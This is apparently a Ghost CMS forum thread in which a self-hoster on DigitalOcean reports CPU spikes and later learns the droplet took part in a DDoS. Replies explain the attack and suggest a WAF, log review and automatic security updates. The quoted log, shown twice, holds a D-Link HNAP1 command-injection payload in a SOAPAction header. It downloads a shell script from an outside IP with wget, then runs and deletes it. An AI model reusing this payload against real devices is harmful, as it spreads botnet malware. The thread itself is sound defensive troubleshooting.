100% cpu spike and strange log

Developer help Self-hosting
1

Hi,

I am running ghost on digital ocean with local mysql, newest version 5.30.

The blog is small, we don’t have peak of users.

During this week I saw several spikes 100% on cpu and the website becomes very slow or offline.

I found some strange log in the same time the spike starts:

{“name”:“Log”,“hostname”:“myhome”,“pid”:3807,“level”:30,“version”:“5.30.0”,“req”:{“meta”:{“requestId”:“e46ade01-7c79-4e09-883f-1e9b1f8b0283”,“userId”:null},“url”:“/HNAP1/”,“method”:“POST”,“originalUrl”:“/HNAP1/”,“params”:{},“headers”:{“x-forwarded-for”:“45.12.253.180”,“x-forwarded-proto”:“http”,“x-real-ip”:“45.12.253.180”,“host”:“137.184.48.98:80”,“connection”:“close”,“content-length”:“0”,“user-agent”:“Mozila/5.0”,“accept-encoding”:“gzip, deflate”,“accept”:“/”,“soapaction”:“"http://purenetworks.com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://179.43.187.243/a/wget.sh;chmod 777 wget.sh;sh wget.sh selfrep.dlink;rm -rf wget.sh`"”},“query”:{}},“res”:{“_headers”:{“x-powered-by”:“Express”,“cache-control”:“public, max-age=31536000”,“location”:“https://137.184.48.98:80/HNAP1/",“vary”:"Accept, Accept-Encoding”,“content-type”:“text/plain; charset=utf-8”,“content-length”:“65”},“statusCode”:301,“responseTime”:“2ms”},“msg”:“”,“time”:“2023-01-14T23:54:45.769Z”,“v”:0}

It seems like an attack. But I really don’t understand too much.

I also use cloudflare.

Any ideas?

Thanks in advance

2

It’s an an attack. Probably not possible or directed at you, but just something that happens constantly across the internet. You could sign up for a WAF service (Web App Firewall) to try to block them. You mentioned you were using Cloudflare, but not which products you were using from there. They sell a WAF service:

Usually attacks are targeting the most popular software, like WordPress or other apps with known security problems. As long as you are keeping to date with your OS and Ghost security updates, the attacks are unlikely to succeed.

If you catch one in action, you could block the current attacking IP using some form of firewall, but some attacks come from several IPs, and the next attack will likely come from a different IP, so it’s not much of a fix.

With a WAF subscription, the service is constantly tracking and updating the most common attack signatures and bad IP addresses so they have a chance to block the attacks before they happen.

2 Likes
3

Thanks for the answer.

Actually, the vm was exposed (no idea how). Digital ocean sent me this email yesterday:

“We are writing to let you know that your Droplet at 137.184.XX.XX has been disconnected from the network after performing 262 Mbps out of total 21.4 Gbps Distributed Denial of Service attack from 13 droplet(s) on our network aimed at 123.129.XX.XX.”

I think I took too long to update to the version 5.30. I was using 5.20 before.

I don’t have cloudflare waf. Only the free plan with ssl.

I deployed a new vm and restored the content backup. I hope everything will be fine now.

Thank you

4

I’m not sure what you mean by “exposed”. It sounds like port 80 was intentionally open to serve a blog and SSH was likely accessible as well.

The Digital Ocean message is telling you that you server participated in a DDoS attack.

It’s premature to blame your Ghost upgrade cycle. Looking at the actual security advisories between 5.20 and 5.30, there are no exploits that allow a remote compromise from a non-admin.

You need to analyze your logs to understand how the breach occurred. You can guess the time range of logs to look at based on when the CPU/network spike occurred.

If you are not able to understand what was vulnerable and how it was exploited, the cycle risks repeating itself on your new server.

If your OS was out off date with security patches or you had other public services running, those are also possible entry points to exploit.

1 Like
5

I looked closely at the request above and have re-formatted it below.

The attacker is trying to inject a malicious SOAP header over http, this would have failed because the server is not running SOAP. Ghost responds with a 301 redirect to the HTTP version of the same page, I presume Ghost redirects all http requests to https. I suspect the following logs would show that the https request returned 404 because the URL does not exit, if the user agent happened to make the request at all.

		“url”: “ /HNAP1/”,
		“method”: “POST”,
		“originalUrl”: “ /HNAP1/”,
		“params”: {},
		“headers”: {
			“
			x - forwarded - for”: “45.12 .253 .180”,
			“x - forwarded - proto”: “http”,
			“x - real - ip”: “45.12 .253 .180”,
			“host”: “137.184 .48 .98: 80”,
			“connection”: “close”,
			“content - length”: “0”,
			“user - agent”: “Mozila / 5.0”,
			“accept - encoding”: “gzip, deflate”,
			“accept”: “ /”,
			 “soapaction”:“"http:/ / purenetworks.com / HNAP1 / GetDeviceSettings / `cd 1 && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://179.43.187.243/a/wget.sh;chmod 777 wget.sh;sh wget.sh selfrep.dlink;rm -rf wget.sh`
			"”},
		  “query”:{}}
	  ,“res”:{“_headers”:{
		   “x-powered-by”:“Express”,
		    “cache-control”:“public, max-age=31536000”,
			“location”:“https://137.184.48.98:80/HNAP1/",
			“vary”: "Accept, Accept-Encoding”,“content-type”:“text/plain; charset=utf-8”,“content-length”:“65”
	         },
		“statusCode”:301,“responseTime”:“2ms”},“msg”:“”,“time”:“2023-01-14T23:54:45.769Z”,“v”:0}
1 Like
6

You are right.

I am not sure what the true root cause was. Maybe this log is just one more from others attempts.

The server was a ghost pre built vps on digital ocean. Only running ghost. Nothing more

The blog is not so critical. So, I will wait to see if this happens again in the future.

Thank you so much for your answers

7

If your Linux distribution is Ubuntu or Debian, I recommendation enabling unattended-upgrades to automatically apply security updates nightly and reboot the server automatically if needed.

1 Like
8

Digital Ocean is really terrible for Ghost, because you literally need to spend a day setting up many things to make the server working without any problem. Here you can find all the steps to make it faster and avoid any spikes in CPU and RAM: Ghost on 1GB Digital Ocean droplet using 100% of memory - #8 by jazmy

1 Like